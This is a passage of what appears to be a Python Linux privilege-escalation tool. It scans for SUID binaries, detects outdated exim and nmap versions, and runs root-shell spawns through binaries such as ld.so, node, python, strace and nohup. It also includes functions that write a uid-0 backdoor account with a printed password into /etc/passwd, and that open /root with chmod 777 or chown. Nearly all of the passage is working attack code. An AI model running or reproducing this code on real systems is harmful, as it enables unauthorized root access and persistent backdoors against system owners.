call(["ksh","-p"])
#ld_so_priv_esc funtion
def ld_so_priv_esc():
call(["ld.so","/bin/sh","-p"])
#logsave_priv_esc function
def logsave_priv_esc():
call(["logsave","/dev/null","/bin/sh","-i","-p"])
#nice_priv_esc function
def nice_priv_esc():
call(["nice","/bin/sh","-p"])
#node_priv_esc function
def node_priv_esc():
command='''
node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]});'
'''
os.system(command)
#nohup_priv_esc function
def nohup_priv_esc():
command='''
nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"
'''
os.system(command)
#php_priv_esc function
def php_priv_esc():
command = '''
php -r "pcntl_exec('/bin/sh', ['-p']);"
'''
os.system(command)
#python_priv_esc function
def python_priv_esc():
command = '''
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
'''
os.system(command)
#python3_priv_esc function
def python3_priv_esc():
command = '''
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
'''
os.system(command)
#rlwrap_priv_esc function
def rlwrap_priv_esc():
call(["rlwrap","-H","/dev/null","/bin/sh","-p"])
#run_parts_priv_esc function
def run_parts_priv_esc():
command = '''
run-parts --new-session --regex '^sh$' /bin --arg='-p'
'''
os.system(command)
#setarch_priv_esc function
def setarch_priv_esc():
os.system('setarch $(arch) /bin/sh -p')
#start_stop_daemon_priv_esc function
def start_stop_daemon_priv_esc():
command = '''
start-stop-daemon --start -n $RANDOM -S -x /bin/sh -- -p
'''
os.system(command)
#stdbuf_priv_esc function
def stdbuf_priv_esc():
call(["stdbuf","-i0","/bin/sh","-p"])
#strace_priv_esc function
def strace_priv_esc():
call(["strace","-o","/dev/null","/bin/sh","-p"])
#taskset_priv_esc function
def taskset_priv_esc():
call(["taskset","1","/bin/sh","-p"])
#time_priv_esc function
def time_priv_esc():
call(["time","/bin/sh","-p"])
#timeout_priv_esc function
def timeout_priv_esc():
os.system('timeout 7s /bin/sh -p')
#unshare_priv_esc function
def unshare_priv_esc():
call(["unshare","-r","/bin/sh"])
#xargs_priv_esc function
def xargs_priv_esc():
call(["xargs","-a","/dev/null","sh","-p"])
#zsh_priv_esc function
def zsh_priv_esc():
call(["zsh"])
#config_msg function
def config_msg(bold, blue, warning, endc):
print(bold + warning + "[!] Try to configure /etc/passwd file...\n" + endc)
print(bold + warning + "[!] Try to create a new user...\n" + endc)
#config_msg2 function
def config_msg2(filename, bold, blue, warning, endc):
print(bold + blue + '[+] Advice:\n' + endc)
print(bold + warning + "-> Follow the below example in order to edit the {} file and take root's privileges\n".format(filename) + endc)
print(bold + blue + '[*] Example:\n' + endc)
#other_msg function
def other_msg(flag, bold, green, blue, warning, endc):
if flag != 'manual':
print(bold + green + "[!] Done! Use the following credentials in order to take root's privileges!\n" + endc)
print(bold + warning + " -> Credentials:\n" + endc)
print(bold + blue + "------------------------------" + endc)
print(bold + blue + "| Username | Password |" + endc)
print(bold + blue + "------------------------------" + endc)
print(bold + blue + "| " + bold + green+ " superuser" + bold + blue + " | " + bold + green + "password1234" + bold + blue + " |" + endc)
print(bold + blue + "------------------------------\n" + endc)
#cp_priv_esc function
def cp_priv_esc(flag, bold, green, blue, warning, endc):
shutil.copyfile('/etc/passwd', '/tmp/passwd')
f = open('/tmp/passwd','a+')
f.write('superuser:$1$superuse$D1NjirhAZKLO9jhBU9gyG.:0:0:root:/bin/bash\n')
f.close()
os.system("cp /tmp/passwd /etc/passwd")
#call function named other_msg
other_msg(flag, bold, green, blue, warning, endc)
#mv_priv_esc function
def mv_priv_esc(flag, bold, green, blue, warning, endc):
shutil.copyfile('/etc/passwd', '/tmp/passwd')
f = open('/tmp/passwd','a+')
f.write('superuser:$1$superuse$D1NjirhAZKLO9jhBU9gyG.:0:0:root:/bin/bash\n')
f.close()
os.system("mv /tmp/passwd /etc/passwd")
#call function named other_msg
other_msg(flag, bold, green, blue, warning, endc)
#auto_chmod_msg function
def auto_chmod_msg(bold, green, blue, warning, endc):
print(bold + green + "[!] Permissions of /root changed! You have access on it!\n" + endc)
print(bold + blue + "-> Directory: /root\n" + endc)
#auto_chown_msg function
def auto_chown_msg(bold, green, blue, warning, endc):
print(bold + green + "[!] UID and GID of /root changed! You have access on it!" + endc)
print(bold + blue + "-> Directory: /root" + endc)
#chmod_priv_esc function
def chmod_priv_esc(bold, green, blue, warning, endc):
os.system("chmod 777 /root")
#call function named auto_chmod_msg
auto_chmod_msg(bold, green, blue, warning, endc)
call(["ls", "-la", "/root"])
print("\n")
#chown_priv_esc function
def chown_priv_esc(bold, green, blue, warning, endc):
os.system("chown -R $(id -un):$(id -gn) /root")
#call function named auto_chown_msg
auto_chown_msg(bold, green, blue, warning, endc)
call(["ls", "-la", "/root"])
print("\n")
#important_msg0 function
def important_msg0(bold, blue, warning, endc):
print(bold + blue + "[+] Advice:\n" + endc)
print(bold + warning + "-> Follow the below example and take root's privileges!\n" + endc)
print(bold + blue + "[*] Example:\n" + endc)
#cp_priv_esc2 function
def cp_priv_esc2(bold, blue, warning, endc):
#call function named important_msg2
important_msg2(bold, blue, warning, endc)
command = '''
-> LFILE=file_to_write
-> TF=$(mktemp)
-> echo "DATA" > $TF
-> cp $TF $LFILE\n
'''
print(command)
#mv_priv_esc2 function
def mv_priv_esc2(bold, blue, warning, endc):
#call function named important_msg2
important_msg2(bold, blue, warning, endc)
command = '''
-> LFILE=file_to_write
-> TF=$(mktemp)
-> echo "DATA" > $TF
-> mv $TF $LFILE\n
'''
print(command)
#chown_priv_esc2 function
def chown_priv_esc2(bold, blue, warning, endc):
#call function named important_msg2
important_msg2(bold, blue, warning, endc)
print('-> LFILE=/root\n')
print('-> chown $(id -un):$(id -gn) $LFILE\n')
#chmod_priv_esc2 function
def chmod_priv_esc2(bold, blue, warning, endc):
#call function named important_msg2
important_msg2(bold, blue, warning, endc)
print('-> LFILE=/root\n')
print('-> chmod 0777 $LFILE\n')
#suid_exp function
def suid_exp(flag, bold, green, blue, fail, warning, endc):
#set flags values
flag1 = "false"
flag2 = "false"
#find all suid binaries of system
try:
command = "find / -perm -4000 2>/dev/null"
result = os.popen(command).read().strip().split("\n")
for i in result:
name = i.split("/")[::-1][0]
if name in defaults:
if name == "exim4":
command2 = 'exim4 --version 2>/dev/null'
result2 = os.popen(command2).read().strip().split("\n")
for y in result2:
vers1 = y.split(" ")[::1][2]
vers1 = float(vers1)
break
if vers1 >= 4.87 and vers1 <= 4.91:
print(bold + green + "\n[!] Found outdated version of exim!\n" +endc)
#call function named exim_priv_esc
exim_priv_esc(bold, green, blue, fail, warning, endc)
if name not in defaults:
binary_path = i
print(bold + green + "\n[!] Found intersting suid binary: " + binary_path + endc + "\n")
print(bold + warning + "[!] Detailed permissions of " + binary_path + ":" + endc + "\n")
os.system('ls -la ' + binary_path)
print("\n")
if name in suid_for_read:
if name == "ip":
#call function named ip_msg
ip_msg(bold, blue, warning, endc)
#call function named imporant_msg
important_msg(bold, blue, warning, endc)
print(bold + suid_for_read[name] + '\n\n' + endc)
elif name in suid_manual:
#call function named imporant_msg2
important_msg2(bold, blue, warning, endc)
print(bold + suid_manual[name] + '\n\n' + endc)
elif name in suid_manual2:
#call function important_msg3
important_msg3(bold, blue, warning, endc)
print(bold + suid_manual2[name] + '\n' + endc)
elif name in suid_download:
if name == "curl":
#call function named curl_priv_esc
curl_priv_esc(bold, blue, warning, endc)
elif name == "wget":
#call function named wget_priv_esc
wget_priv_esc(bold, blue, warning, endc)
elif name == "lwp-download":
#call function named lwp_download_priv_esc
lwp_downlaod_priv_esc(bold, blue, warning, endc)
elif name == "rake":
#call function named rake_priv_esc
rake_priv_esc(bold, blue, warning, endc)
elif name == "x86_64-linux-gnu-readelf":
#call function named readelf_priv_esc
readelf_priv_esc(bold, blue, warning, endc)
elif name in suid_lim:
if name == "nmap":
command3 = "nmap --version"
result3 = os.popen(command3).read().strip().split("\n")
for y in result3:
vers = y.split(" ")[::1][2]
vers = float(vers)
break
if vers > 4:
print(bold + fail + "[!] Nmap version doesn't support suid binary privilege escalation mode!\n" + endc)
print(bold + blue + "[!] " + name + " version: " + endc + str(vers) + '\n')
else:
#call function named important_msg3
important_msg3(bold, blue, warning, endc)
print(bold + suid_lim[name] + '\n' + endc)
else:
#call function named important_msg3
important_msg3(bold, blue, warning, endc)
print(bold + suid_lim[name] + '\n' + endc)
if flag == "auto":
if name in suid_exec:
print(bold + warning + "[!] Try to do auto Escalation...\n" + endc)
#call function named root_msg
root_msg(bold, green, endc)
if name == "bash":
#call function named bash_priv_esc
bash_priv_esc()
elif name == "chroot":
#call function named chroot_priv_esc
chroot_priv_esc()
elif name == "bsd-csh":
#call function named csh_priv_esc
csh_priv_esc()
elif name == "dash":
#call function named dash_priv_esc
dash_priv_esc()
elif name == "docker":
#call function named docker_priv_esc
docker_priv_esc()
elif name == "env":
#call function named env_priv_esc
env_priv_esc()
elif name == "expect":
#call function named expect_priv_esc
expect_priv_esc()
elif name == "find":
#call function named find_priv_esc
find_priv_esc()
elif name == "flock":
#call function anmed flock_priv_esc
flock_priv_esc()
elif name == "gdb":
#call function named gdb_priv_esc
gdb_priv_esc()
elif name == "ionice":
#call function named ionice_priv_esc
ionice_priv_esc()
elif name == "ksh2020":
#call function named ksh_priv_esc
ksh_priv_esc()
elif name == "ld.so":
#call function named ld_so_priv_esc
ld_so_priv_esc()
elif name == "logsave":
#call function named logsave_priv_esc
logsave_priv_esc()
elif name == "nice":
#call function named nice_priv_esc
nice_priv_esc()
elif name == "node":
#call function named node_priv_esc
node_priv_esc()
elif name == "nohup":
#call function named nohup_priv_esc
nohup_priv_esc()
elif name == "php7.4":
#call function named php_priv_esc
php_priv_esc()
elif name == "python2.7":
#call function named python_priv_esc
python_priv_esc()
elif name == "python3.8":
#call function named python3_priv_esc
python3_priv_esc()
elif name == "rlwrap":
#call function named rlwrap_priv_esc
rlwrap_priv_esc()
elif name == "run-parts":
#call function named run_parts_priv_esc
run_parts_priv_esc()
elif name == "setarch":
#call function named setarch_priv_esc
setarch_priv_esc()
elif name == "start-stop-daemon":
#call function named start_stop_daemon_priv_esc
start_stop_daemon_priv_esc()
elif name == "stdbuf":
#call function named stdbuf_priv_esc
stdbuf_priv_esc()
elif name == "strace":
#call function named strace_priv_esc
strace_priv_esc()
elif name == "taskset":
#call function named taskset_priv_esc
taskset_priv_esc()